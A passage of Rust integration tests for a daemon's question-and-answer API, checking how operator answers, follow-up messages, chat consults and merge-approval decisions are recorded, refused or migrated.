13100 q.merge_target = Some(crate::merge_decision::Target {
13101 pr: "https://github.com/example/repo/pull/42".into(),
13102 head: "exact-reviewed-head".into(),
13103 language: "ja".into(),
13104 });
13105 q.consult = Some(ask::ChatConsult {
13106 talk: "another-conversation".into(),
13107 at: jiff::Timestamp::now(),
13108 });
13109 fx.questions().put(&mut q).unwrap();
13110 let ui = Arc::new(Ui::new(
13111 fx.queue(),
13112 fx.questions(),
13113 fx.talks(),
13114 fx.runs(),
13115 fx.home.path().into(),
13116 std::path::PathBuf::from("."),
13117 ));
13118 let response = question_answer(
13119 State(ui.clone()),
13120 Path(q.id.clone()),
13121 Ok(Json(NewAnswer {
13122 choice: Some(choice.into()),
13123 text: None,
13124 ..Default::default()
13125 })),
13126 )
13127 .await
13128 .unwrap();
13129 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13130 let disk = fx.questions().get(&q.id).unwrap();
13131 assert_eq!(disk.merge_target, q.merge_target);
13132 assert_eq!(disk.consult, q.consult);
13133 assert_eq!(disk.resolution().as_deref(), Some(choice));
13134 assert!(
13135 question_answer(
13136 State(ui),
13137 Path(q.id.clone()),
13138 Ok(Json(NewAnswer {
13139 choice: Some("merge".into()),
13140 text: None,
13141 ..Default::default()
13142 }))
13143 )
13144 .await
13145 .is_err(),
13146 "an already settled decision cannot turn into merge approval"
13147 );
13148 }
13149 }
13150
13151 #[tokio::test]
13152 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13153 let fx = Fixture {
13154 home: TempDir::new().unwrap(),
13155 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13156 };
13157 let mut state = crate::land::tests::repair_state(true, true);
13158 state.status = RunStatus::Landing;
13159 state.parked = true;
13160 state.driver_exited = true;
13161 let mut task = Task::new(
13162 "Existing PR owner".into(),
13163 state.instruction.clone(),
13164 state.repo.clone(),
13165 Source::Human,
13166 );
13167 task.runs.push(state.id.clone());
13168 task.status = TaskStatus::Parked;
13169 fx.queue().put(&mut task).unwrap();
13170 let mut q = Question::new(
13171 state.id.clone(),
13172 crate::land::APPROVAL_NODE.into(),
13173 "land".into(),
13174 "Contested merge".into(),
13175 "Original evidence".into(),
13176 vec!["merge".into(), "hold".into()],
13177 );
13178 state.land_approval = Some(crate::run::LandApproval {
13179 question: q.id.clone(),
13180 head: "reviewed-head".into(),
13181 });
13182 state.save_under(fx.home.path()).unwrap();
13183 fx.questions().put(&mut q).unwrap();
13184 task.hold_manual(Some("Pause this PR".into()));
13186 fx.queue().put(&mut task).unwrap();
13187 let ui = Arc::new(Ui::new(
13190 fx.queue(),
13191 fx.questions(),
13192 fx.talks(),
13193 fx.runs(),
13194 fx.home.path().to_path_buf(),
13195 state.repo.clone(),
13196 ));
13197 let response = question_answer(
13198 State(ui),
13199 Path(q.id.clone()),
13200 Ok(Json(NewAnswer {
13201 choice: Some(crate::land::REPAIR.into()),
13202 text: None,
13203 ..Default::default()
13204 })),
13205 )
13206 .await
13207 .unwrap();
13208 assert_eq!(response.0.question.id, q.id);
13209 let upgraded = fx.questions().get(&q.id).unwrap();
13210 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13211 assert!(upgraded.detail.starts_with("Original evidence"));
13212 let claim = fx.queue().claim(&task.id).unwrap();
13213 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13214 assert!(
13215 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13216 "an existing driver keeps its claim"
13217 );
13218 drop(claim);
13219 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13220 let resumed = fx.queue().get(&task.id).unwrap();
13221 assert_eq!(
13222 resumed
13223 .resume_override
13224 .as_ref()
13225 .unwrap()
13226 .pinned_run
13227 .as_deref(),
13228 Some(state.id.as_str())
13229 );
13230 assert!(resumed.status.runnable());
13231 assert_eq!(resumed.instruction, task.instruction);
13232 assert_eq!(resumed.runs, task.runs);
13233 assert!(resumed.action_applied(&q.id));
13234 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13235 assert_eq!(fx.queue().list().len(), 1);
13236 assert_eq!(
13237 fx.queue().get(&task.id).unwrap().resume_override,
13238 resumed.resume_override
13239 );
13240 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13241 assert!(
13242 disk.merge_repairs.is_empty(),
13243 "only the claimed run driver may execute repair"
13244 );
13245 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13246 }
13247
13248 #[tokio::test]
13249 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13250 let fx = Fixture::start().await;
13251 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13252 let path = format!("/api/questions/{id}/answer");
13253
13254 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13255 assert_eq!(res.status, 200, "{}", res.body);
13256 let body = res.json();
13257 assert_eq!(body["status"], "answered");
13258 assert_eq!(body["answer"]["choice"], "Redis");
13259
13260 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13264 assert_eq!(again.status, 409, "{}", again.body);
13265 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13266 }
13267
13268 #[tokio::test]
13269 async fn fresh_api_answers_survive_task_inquiry_migration() {
13270 use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13271 for migrate_first in [false, true] {
13272 let fx = Fixture::start().await;
13273 let mut task = Task::new(
13274 "work".into(),
13275 "work".into(),
13276 PathBuf::from("/repo/magi"),
13277 Source::Human,
13278 );
13279 task.runs.push("run-a".into());
13280 fx.queue().put(&mut task).unwrap();
13281 let mut q = Question::new(
13282 "run-a".into(),
13283 "implement".into(),
13284 "impl-A".into(),
13285 "Keep held?".into(),
13286 String::new(),
13287 vec!["hold".into()],
13288 );
13289 q.actions.insert("hold".into(), ChoiceAction::Hold);
13290 fx.questions().put(&mut q).unwrap();
13291 if migrate_first {
13292 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13293 }
13294 let response = fx
13295 .post(
13296 &format!("/api/questions/{}/answer", q.id),
13297 Some(r#"{"choice":"hold"}"#),
13298 )
13299 .await;
13300 assert_eq!(response.status, 200, "{}", response.body);
13301 for _ in 0..2 {
13302 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13303 let source = fx.questions().get(&q.id).unwrap();
13304 assert_eq!(source.resolution().as_deref(), Some("hold"));
13305 let decision = Outbox::at(fx.home.path())
13306 .get(&q.id)
13307 .unwrap()
13308 .decision
13309 .unwrap();
13310 assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13311 assert_eq!(decision.source_answer_at, source.answered_at);
13312 assert_eq!(decision.status, Status::Queued);
13313 }
13314 assert_eq!(
13315 fx.post(
13316 &format!("/api/questions/{}/answer", q.id),
13317 Some(r#"{"choice":"hold"}"#)
13318 )
13319 .await
13320 .status,
13321 409
13322 );
13323 }
13324 }
13325
13326 #[tokio::test]
13327 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13328 let home = tempfile::tempdir().unwrap();
13329 let ui = delta_test_ui(home.path());
13330 let mut q = Question::new(
13331 "task".into(),
13332 crate::land::APPROVAL_NODE.into(),
13333 "land".into(),
13334 "Explain?".into(),
13335 String::new(),
13336 vec!["hold".into()],
13337 );
13338 q.deputy = Some(ask::Deputy::new("context".into()));
13339 ui.questions.put(&mut q).unwrap();
13340 let mut cfg = stub_config();
13341 cfg.daemon.max_deputies = 0;
13342 let mut status = crate::daemon::Status::new();
13343 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13344 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13345 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13346 let error = question_say(
13347 State(ui.clone()),
13348 Path(q.id.clone()),
13349 Ok(Json(NewSay {
13350 body: "Explain the findings".into(),
13351 })),
13352 )
13353 .await
13354 .unwrap_err();
13355 assert_eq!(
13356 error.text_reason,
13357 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13358 );
13359 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13360
13361 let mut text = Question::new(
13362 "task".into(),
13363 "ask".into(),
13364 "operator".into(),
13365 "Which name?".into(),
13366 String::new(),
13367 vec![],
13368 );
13369 ui.questions.put(&mut text).unwrap();
13370 let Json(view) = question_answer(
13371 State(ui.clone()),
13372 Path(text.id.clone()),
13373 Ok(Json(NewAnswer {
13374 choice: None,
13375 text: Some("chosen name".into()),
13376 ..Default::default()
13377 })),
13378 )
13379 .await
13380 .unwrap();
13381 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13382 assert!(!ui.questions.get(&text.id).unwrap().status.open());
13383 }
13384
13385 #[tokio::test]
13386 async fn question_text_handler_admission_without_transport() {
13387 let home = tempfile::tempdir().unwrap();
13388 let ui = delta_test_ui(home.path());
13389 let mut q = Question::new(
13390 "task".into(),
13391 crate::land::APPROVAL_NODE.into(),
13392 "land".into(),
13393 "May this PR merge?".into(),
13394 String::new(),
13395 vec!["hold".into()],
13396 );
13397 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13398 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13399 ui.questions.put(&mut q).unwrap();
13400 let say = || {
13401 Ok(Json(NewSay {
13402 body: "Explain the findings".into(),
13403 }))
13404 };
13405 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13406 .await
13407 .unwrap_err();
13408 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13409 let response = rejected.into_response();
13410 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13411 .await
13412 .unwrap();
13413 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13414 assert_eq!(body["code"], "question_text_unavailable");
13415 assert_eq!(body["reason"], "deputy_exhausted");
13416 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13417 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13418 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13419 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13420 .await
13421 .unwrap();
13422 assert_eq!(view.text_delivery.state, "live");
13423 assert!(view.question.waiter.is_none());
13424 assert!(view.question.cwd.is_none());
13425 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13426 ui.questions.drop_lease(&q.id);
13427 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13428 .await
13429 .unwrap_err();
13430 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13431 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13432 let _ = question_answer(
13433 State(ui.clone()),
13434 Path(q.id.clone()),
13435 Ok(Json(NewAnswer {
13436 choice: Some("hold".into()),
13437 text: None,
13438 ..Default::default()
13439 })),
13440 )
13441 .await
13442 .unwrap();
13443 assert_eq!(
13444 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13445 Some("hold")
13446 );
13447 }
13448
13449 #[tokio::test]
13450 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13451 let fx = Fixture::start().await;
13452 let store = fx.questions();
13453 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13454 store
13455 .update(&id, |q| {
13456 q.node = crate::land::APPROVAL_NODE.to_owned();
13457 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13458 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13459 Ok(())
13460 })
13461 .unwrap();
13462 let path = format!("/api/questions/{id}/say");
13463 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13464 assert_eq!(refused.status, 422, "{}", refused.body);
13465 assert!(
13466 refused.json()["error"]
13467 .as_str()
13468 .unwrap()
13469 .contains("deputy_exhausted")
13470 );
13471 assert!(store.get(&id).unwrap().thread.is_empty());
13472
13473 store.beat(&id, ask::WaiterKind::Deputy);
13475 let view = fx.get("/api/questions").await.json();
13476 assert_eq!(view[0]["text_delivery"]["state"], "live");
13477 let accepted = fx
13478 .post(&path, Some(r#"{"body":"explain the findings"}"#))
13479 .await;
13480 assert_eq!(accepted.status, 200, "{}", accepted.body);
13481 let before = std::fs::read(store.path_of(&id)).unwrap();
13482
13483 store.drop_lease(&id);
13486 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13487 assert_eq!(refused.status, 422, "{}", refused.body);
13488 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13489 let held = fx
13490 .post(
13491 &format!("/api/questions/{id}/answer"),
13492 Some(r#"{"choice":"hold"}"#),
13493 )
13494 .await;
13495 assert_eq!(held.status, 200, "{}", held.body);
13496 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13497 }
13498
13499 #[tokio::test]
13500 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13501 let repo = tempfile::tempdir().unwrap();
13502 let mut cfg = stub_config();
13503 cfg.daemon.max_deputies = 0;
13504 std::fs::write(
13505 repo.path().join("magi.toml"),
13506 toml::to_string(&cfg).unwrap(),
13507 )
13508 .unwrap();
13509 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13510 let mut status = crate::daemon::Status::new();
13511 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13512 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13513 let id = ask(&fx, "Explain?", &["hold"]);
13514 fx.questions()
13515 .update(&id, |q| {
13516 q.node = crate::land::APPROVAL_NODE.into();
13517 q.deputy = Some(ask::Deputy::new("context".into()));
13518 q.deputy.as_mut().unwrap().agent = "stub".into();
13519 Ok(())
13520 })
13521 .unwrap();
13522 cfg.daemon.max_deputies = 1;
13523 std::fs::write(
13524 repo.path().join("magi.toml"),
13525 toml::to_string(&cfg).unwrap(),
13526 )
13527 .unwrap();
13528 let view = fx.get("/api/questions").await.json();
13529 assert_eq!(view[0]["deputies_enabled"], true);
13530 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13531 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13532 let res = fx
13533 .post(
13534 &format!("/api/questions/{id}/say"),
13535 Some(r#"{"body":"Please explain"}"#),
13536 )
13537 .await;
13538 assert_eq!(res.status, 422, "{}", res.body);
13539 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13540 }
13541
13542 #[tokio::test]
13543 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13544 let fx = Fixture::start().await;
13545 let id = ask(&fx, "No seat", &[]);
13546 let store = fx.questions();
13547 let before = std::fs::read(store.path_of(&id)).unwrap();
13548 let res = fx
13549 .post(
13550 &format!("/api/questions/{id}/say"),
13551 Some(r#"{"body":"hello"}"#),
13552 )
13553 .await;
13554 assert_eq!(res.status, 422, "{}", res.body);
13555 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13556 let res = fx
13557 .post(
13558 &format!("/api/questions/{id}/answer"),
13559 Some(r#"{"text":"hello"}"#),
13560 )
13561 .await;
13562 assert_eq!(res.status, 200, "{}", res.body);
13563 assert_eq!(
13564 store.get(&id).unwrap().resolution().as_deref(),
13565 Some("hello")
13566 );
13567 }
13568
13569 #[tokio::test]
13570 async fn saying_something_appends_a_turn_without_answering() {
13571 let fx = Fixture::start().await;
13572 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13573 fx.questions().beat(&id, ask::WaiterKind::Asker);
13574 let path = format!("/api/questions/{id}/say");
13575
13576 let res = fx
13577 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13578 .await;
13579 assert_eq!(res.status, 200, "{}", res.body);
13580 let body = res.json();
13581 assert_eq!(body["status"], "open", "talking back is not a decision");
13582 assert_eq!(body["answer"], Value::Null);
13583 assert_eq!(body["thread"][0]["who"], "operator");
13584 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13585 assert_eq!(body["waiting_on_agent"], true);
13586 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13588 }
13589
13590 #[tokio::test]
13591 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13592 let fx = Fixture::start().await;
13593 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13594
13595 let list = fx.get("/api/questions").await.json();
13596 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13597
13598 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13599 assert_eq!(res.status, 409, "{}", res.body);
13600 let q = fx.questions().get(&id).unwrap();
13601 assert!(q.status.open());
13602 assert!(q.consult.is_none());
13603 }
13604
13605 #[tokio::test]
13606 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13607 let fx = Fixture::start().await;
13608 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13609 let cfg = Config {
13610 agents: vec![crate::config::AgentSpec {
13611 id: "mock".to_owned(),
13612 kind: crate::config::AgentKind::Command,
13613 model: None,
13614 command: vec!["true".to_owned()],
13615 extra_args: Vec::new(),
13616 env: Default::default(),
13617 prompt_delivery: None,
13618 max_turn_secs: None,
13619 }],
13620 ..Config::default()
13621 };
13622 let talk = crate::talk::begin(
13623 &fx.talks(),
13624 &cfg,
13625 fx.home.path().to_path_buf(),
13626 Some("mock"),
13627 )
13628 .unwrap();
13629 let mut task = Task::new(
13630 "t".to_owned(),
13631 "Do it".to_owned(),
13632 PathBuf::from("/repo/magi"),
13633 Source::Agent {
13634 run: talk.id.clone(),
13635 node: crate::queue::CHAT_NODE.to_owned(),
13636 },
13637 );
13638 task.start("20260902-000000-beef".to_owned());
13639 fx.queue().put(&mut task).unwrap();
13640
13641 let list = fx.get("/api/questions").await.json();
13642 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13643 assert_eq!(
13644 list[0]["choices"],
13645 serde_json::json!(["SQLite", "Redis"]),
13646 "the hand-over is never a choice"
13647 );
13648 fx.questions()
13649 .update(&id, |q| {
13650 q.node = crate::land::APPROVAL_NODE.into();
13651 q.choices = vec!["merge".into(), "hold".into()];
13652 Ok(())
13653 })
13654 .unwrap();
13655 let list = fx.get("/api/questions").await.json();
13656 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13657 assert_eq!(list[0]["can_consult_chat"], true);
13658 fx.questions()
13659 .update(&id, |q| {
13660 q.node = crate::bump::NOTICE_NODE.into();
13661 Ok(())
13662 })
13663 .unwrap();
13664 let list = fx.get("/api/questions").await.json();
13665 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13666 assert_eq!(list[0]["can_consult_chat"], false);
13667 }
13668
13669 #[tokio::test]
13670 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13671 let fx = Fixture::start().await;
13672 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13673 fx.questions()
13674 .update(&id, |q| {
13675 q.node = crate::land::APPROVAL_NODE.into();
13676 q.choices = vec!["merge".into(), "hold".into()];
13677 Ok(())
13678 })
13679 .unwrap();
13680 let cfg = Config {
13681 agents: vec![crate::config::AgentSpec {
13682 id: "mock".to_owned(),
13683 kind: crate::config::AgentKind::Command,
13684 model: None,
13685 command: vec!["true".to_owned()],
13686 extra_args: Vec::new(),
13687 env: Default::default(),
13688 prompt_delivery: None,
13689 max_turn_secs: None,
13690 }],
13691 ..Config::default()
13692 };
13693 let repo = fx.home.path().join("chat-repo");
13695 std::fs::create_dir_all(&repo).unwrap();
13696 let toml = repo.join("magi.toml");
13697 std::fs::write(&toml, "this is = = not toml").unwrap();
13698 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13699 let mut task = Task::new(
13700 "t".to_owned(),
13701 "Do it".to_owned(),
13702 PathBuf::from("/repo/magi"),
13703 Source::Agent {
13704 run: talk.id.clone(),
13705 node: crate::queue::CHAT_NODE.to_owned(),
13706 },
13707 );
13708 task.start("20260902-000000-beef".to_owned());
13709 fx.queue().put(&mut task).unwrap();
13710
13711 let path = format!("/api/questions/{id}/consult");
13712 let res = fx.post(&path, None).await;
13713 assert!(res.status >= 400, "{}", res.body);
13714 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13715 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13716
13717 std::fs::write(&toml, "").unwrap();
13718 let res = fx.post(&path, None).await;
13719 assert_eq!(res.status, 202, "{}", res.body);
13720 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13721 let q = fx.questions().get(&id).unwrap();
13722 assert!(q.status.open());
13723 assert!(q.answer.is_none());
13724 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13725 assert_eq!(res.json()["can_consult_chat"], true);
13726 let list = fx.get("/api/questions").await.json();
13727 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13728 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13729
13730 let res = fx
13731 .post(
13732 &format!("/api/questions/{id}/answer"),
13733 Some(r#"{"choice":"hold"}"#),
13734 )
13735 .await;
13736 assert_eq!(res.status, 200, "{}", res.body);
13737 assert_eq!(res.json()["answer"]["choice"], "hold");
13738 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13739 assert_eq!(res.json()["can_consult_chat"], false);
13740 assert_eq!(fx.post(&path, None).await.status, 409);
13741
13742 let mut talk = fx.talks().get(&talk.id).unwrap();
13743 crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13745 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13746 let list = fx.get("/api/questions").await.json();
13747 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13748 assert_eq!(list[0]["origin_chat_closed"], true);
13749 assert_eq!(list[0]["can_consult_chat"], false);
13750
13751 fx.talks().remove(&talk.id).unwrap();
13752 let list = fx.get("/api/questions").await.json();
13753 assert_eq!(list[0]["origin_chat"], Value::Null);
13754 assert_eq!(list[0]["origin_chat_closed"], false);
13755 assert_eq!(list[0]["can_consult_chat"], false);
13756 }
13757
13758 #[tokio::test]
13759 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13760 let fx = Fixture::start().await;
13761 let store = fx.questions();
13762 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13763 store.beat(&id, ask::WaiterKind::Asker);
13764 assert_eq!(
13765 fx.get("/api/health").await.json()["questions_needs_owner"],
13766 1
13767 );
13768
13769 let res = fx
13775 .post(
13776 &format!("/api/questions/{id}/say"),
13777 Some(r#"{"body":"why not Postgres?"}"#),
13778 )
13779 .await;
13780 assert_eq!(res.status, 200, "{}", res.body);
13781 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13782 assert_eq!(
13783 fx.get("/api/health").await.json()["questions_needs_owner"],
13784 0,
13785 "waiting on the agent is not waiting on the owner"
13786 );
13787
13788 let mut q = store.get(&id).expect("get");
13792 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13793 .expect("reply");
13794 store.put(&mut q).expect("put");
13795 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13796 assert_eq!(
13797 fx.get("/api/health").await.json()["questions_needs_owner"],
13798 1,
13799 "the agent's reply is what should light the banner back up"
13800 );
13801 }
13802
13803 #[tokio::test]
13804 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13805 let fx = Fixture::start().await;
13806 let store = fx.questions();
13807
13808 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13809 let res = fx
13810 .post(
13811 &format!("/api/questions/{empty_id}/say"),
13812 Some(r#"{"body":" "}"#),
13813 )
13814 .await;
13815 assert_eq!(res.status, 400, "{}", res.body);
13816
13817 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13818 let mut answered = store.get(&answered_id).expect("get");
13819 answered
13820 .answer(Answer::Choice("SQLite".to_owned()))
13821 .expect("answer");
13822 store.put(&mut answered).expect("put");
13823 let res = fx
13824 .post(
13825 &format!("/api/questions/{answered_id}/say"),
13826 Some(r#"{"body":"still there?"}"#),
13827 )
13828 .await;
13829 assert_eq!(res.status, 409, "{}", res.body);
13830
13831 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13832 let mut abandoned = store.get(&abandoned_id).expect("get");
13833 abandoned.abandon("timed out");
13834 store.put(&mut abandoned).expect("put");
13835 let res = fx
13836 .post(
13837 &format!("/api/questions/{abandoned_id}/say"),
13838 Some(r#"{"body":"still there?"}"#),
13839 )
13840 .await;
13841 assert_eq!(res.status, 409, "{}", res.body);
13842 }
13843
13844 #[tokio::test]
13845 async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13846 let fx = Fixture::start().await;
13847 let questions = fx.questions();
13848 let mut q = Question::new(
13849 String::new(),
13850 crate::bump::NOTICE_NODE.into(),
13851 "release-watch".into(),
13852 "Release PR approval".into(),
13853 "Saved head".into(),
13854 vec!["merge".into(), "hold".into()],
13855 );
13856 q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13857 q.merge_target = Some(crate::merge_decision::Target {
13858 pr: "https://example.test/mebae/pull/100".into(),
13859 head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13860 language: "en".into(),
13861 });
13862 q.answer(Answer::Choice("merge".into())).unwrap();
13863 q.answer_delivered = true;
13864 questions.put(&mut q).unwrap();
13865 let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13866 std::fs::create_dir_all(&dir).unwrap();
13867 std::fs::write(
13868 dir.join("state.json"),
13869 serde_json::to_vec(&serde_json::json!({
13870 "schema": 1, "sources": [q.id], "pending": [q.id]
13871 }))
13872 .unwrap(),
13873 )
13874 .unwrap();
13875 let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13876 for migrated in [false, true] {
13877 if migrated {
13878 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13879 }
13880 for endpoint in ["/api/questions", "/api/questions/core"] {
13881 let response = fx.get(endpoint).await;
13882 assert_eq!(response.status, 200);
13883 let rows = response.json();
13884 let row = rows
13885 .as_array()
13886 .unwrap()
13887 .iter()
13888 .find(|r| r["id"] == q.id)
13889 .unwrap();
13890 assert_eq!(row["status"], "answered");
13891 assert_eq!(row["answer"]["choice"], "merge");
13892 assert_eq!(row["can_answer"], false);
13893 assert_eq!(row["history_only"], true);
13894 }
13895 let answer = fx
13896 .post(
13897 &format!("/api/questions/{}/answer", q.id),
13898 Some(r#"{"choice":"merge"}"#),
13899 )
13900 .await;
13901 assert_eq!(answer.status, 409, "{}", answer.body);
13902 assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13903 }
13904 }
13905
13906 #[tokio::test]
13907 async fn an_answer_the_question_does_not_offer_is_refused() {
13908 let fx = Fixture::start().await;
13909 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13910 let path = format!("/api/questions/{id}/answer");
13911
13912 for body in [
13913 r#"{"choice":"Postgres"}"#,
13914 r#"{"text":"whatever you think"}"#,
13915 r#"{"choice":"Redis","text":"both"}"#,
13916 r#"{}"#,
13917 ] {
13918 let res = fx.post(&path, Some(body)).await;
13919 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13920 assert!(res.json()["error"].is_string(), "{}", res.body);
13921 }
13922 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13924 }
13925
13926 #[tokio::test]
13927 async fn a_free_text_question_takes_text_and_not_a_choice() {
13928 let fx = Fixture::start().await;
13929 let id = ask(&fx, "What should the flag be called?", &[]);
13930 fx.questions().beat(&id, ask::WaiterKind::Asker);
13931 let path = format!("/api/questions/{id}/answer");
13932
13933 assert_eq!(
13934 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13935 400
13936 );
13937 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13938 assert_eq!(res.status, 200, "{}", res.body);
13939 assert_eq!(res.json()["answer"]["text"], "--json");
13940 }
13941
13942 #[tokio::test]
13943 async fn an_unknown_question_is_a_json_404() {
13944 let fx = Fixture::start().await;
13945 let res = fx
13946 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13947 .await;
13948 assert_eq!(res.status, 404, "{}", res.body);
13949 assert!(res.json()["error"].is_string());
13950 }
13951
13952 #[tokio::test]
13953 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13954 let fx = Fixture::start().await;
13955 let questions = Questions::at(fx.home.path().join("questions"));
13956 let store = Notices::at(fx.home.path().join("notifications"));
13957 let mut q = ask::Question::new(
13958 "t1".into(),
13959 "conduct".into(),
13960 "conductor".into(),
13961 "Continue?".into(),
13962 String::new(),
13963 Vec::new(),
13964 );
13965 questions.put(&mut q).unwrap();
13966 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13967 n.covered_by = Some(q.id.clone());
13968 let n = store.raise(n).unwrap();
13969 let listed = fx.get("/api/notifications").await.json();
13970 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13971 questions
13972 .update(&q.id, |q| {
13973 q.abandon("run gone");
13974 Ok(())
13975 })
13976 .unwrap();
13977 let listed = fx.get("/api/notifications").await.json();
13978 assert!(listed["items"][0]["answerable_question"].is_null());
13979 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13980 assert!(
13981 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13982 .unwrap()
13983 .contains("answerable_question")
13984 );
13985 }
13986
13987 #[tokio::test]
13988 async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13989 let fx = Fixture::start().await;
13990 let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13991 let task = crate::queue::Task::new(
13992 "work".into(),
13993 "work".into(),
13994 fx.home.path().into(),
